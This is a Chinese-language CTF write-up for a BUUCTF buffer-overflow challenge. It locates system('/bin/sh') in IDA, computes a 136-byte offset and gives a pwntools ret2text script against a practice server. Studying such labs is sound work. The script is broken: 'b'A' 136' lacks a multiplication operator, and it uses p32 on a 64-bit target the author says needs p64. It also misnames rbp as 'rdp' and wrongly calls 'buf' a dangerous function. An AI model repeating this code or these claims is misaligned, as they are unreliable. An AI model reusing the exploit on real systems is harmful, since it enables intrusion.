之前讲的几篇里我们我们拿到题都是checksec 这次也不意外,先测试一下我们知道了amd64-64-little 这个我之前没有提过这次就提一下 如果显示64 则我们在paylaod的时候p64() 若是32 这p32,相信大家这次能有一个了解
接着IDA查看一番,先shift+F12 又回到了我们熟悉的/bin/sh,还等什么双击呀
双击之后,懵逼了,没有想要的东西然后再双击黄色部分我们跳转一下去看看。
又到了我们熟悉的地方了F5按一下,进去程序里面看看什么情况,我们这是看到一行system(/bin/sh),然后按tab 转到之前的页面,再按空格就会出现下面的图片,我们找的了系统执行的地址,也是我们paylaod最后要到达的位置。
然后我们可以就目前了解构建一下paylaod
from pwn import *
sh=remote('node5.buuoj.cn',27682)
buf_addr=0x400596
sh.sendline(b'A' 14 + p32(buf_addr))
sh.interactive()
接下来找中间废话代码进行绕过,我们进入主函数寻找write里面有buf函数 ,二进制文件中buf也是一个危险函数,直到现在我们遇到的危险含数有,/bin/sh、gets、buf、 strcpy 。
然后按回到主函数的如图页面,双击黄色部分,危险函数一般就在主函数中出现调用,从这里双击看看是不是脸上洋溢起来了笑容呢,buf 函数 再双击一下
这张图不久告诉了我们废话代码的字节为128+rdp(8)=136于是就有paylaod
paylaod 如下
from pwn import *
sh=remote('node5.buuoj.cn',27682)
buf_addr=0x400596
sh.sendline(b'A' 136 + p32(buf_addr))
sh.interactive()
于是就有了kali的操作,flag值也就出来了